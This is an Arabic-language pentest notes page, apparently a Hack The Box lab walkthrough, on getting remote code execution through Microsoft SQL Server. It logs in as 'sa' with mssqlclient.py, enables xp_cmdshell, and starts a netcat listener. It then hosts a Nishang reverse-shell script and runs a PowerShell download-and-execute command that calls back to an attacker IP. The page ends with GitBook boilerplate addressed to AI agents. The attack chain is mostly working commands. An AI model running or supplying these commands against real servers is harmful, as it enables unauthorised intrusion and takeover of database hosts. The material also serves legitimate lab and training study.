> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# استغلال تنفيذ الأوامر عن بُعد في MSSQL

## استغلال MSSQL (مايكروسوفت SQL)

**المنفذ 1433 (MSSQL)**

المنفذ 1433 مفتوح، مما يشير إلى أن خادم Microsoft SQL Server يستمع. اختبر الوصول باستخدام المستخدمين الذين تم استرجاعهم أثناء عملية الاستطلاع.

<figure><img src="/files/8f73d71e623ba959c15f90d7ca1730489a9c76fd" alt=""><figcaption></figcaption></figure>

**اختبار الاتصال بـ MSSQL**

استخدم `mssqlclient.py` لمحاولة الاتصال:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/6b1eb161adae2285978ecc65d903fef51fb6b296" alt=""><figcaption></figcaption></figure>

**النتيجة**: فقط الـ `sa` يعمل.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/c67cc2201b5de74608f4c6b57b228f7baad6c5f5" alt=""><figcaption></figcaption></figure>

### غلاف عكسي عبر MSSQL

**تمكين تنفيذ الأوامر**

لتنفيذ أوامر النظام، فعّل `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

ثم اختبر ذلك بأمر بسيط، مثل `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/c25c146290ca34b4159881469a54d713326e4fd8" alt=""><figcaption></figcaption></figure>

**التحضير للاستماع على جهازنا**

ابدأ مستمعًا على المنفذ 4444:

```bash
rlwrap nc -nvlp 4444
```

**تنزيل برنامج PowerShell نصي**

جهّز برنامج PowerShell نصي باسم `PS.ps1` يتضمن دالة غلاف عكسي:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

في نهاية البرنامج النصي، أضف السطر التالي:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

استضف هذا البرنامج النصي على خادم ويب محلي:

```bash
python3 -m http.server 80
```

**تنفيذ الغلاف العكسي**

من خادم MSSQL، شغّل الأمر التالي لتنزيل وتنفيذ برنامج PowerShell النصي:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/996e207842b862e42083e986bbd34fb31fb6c450" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
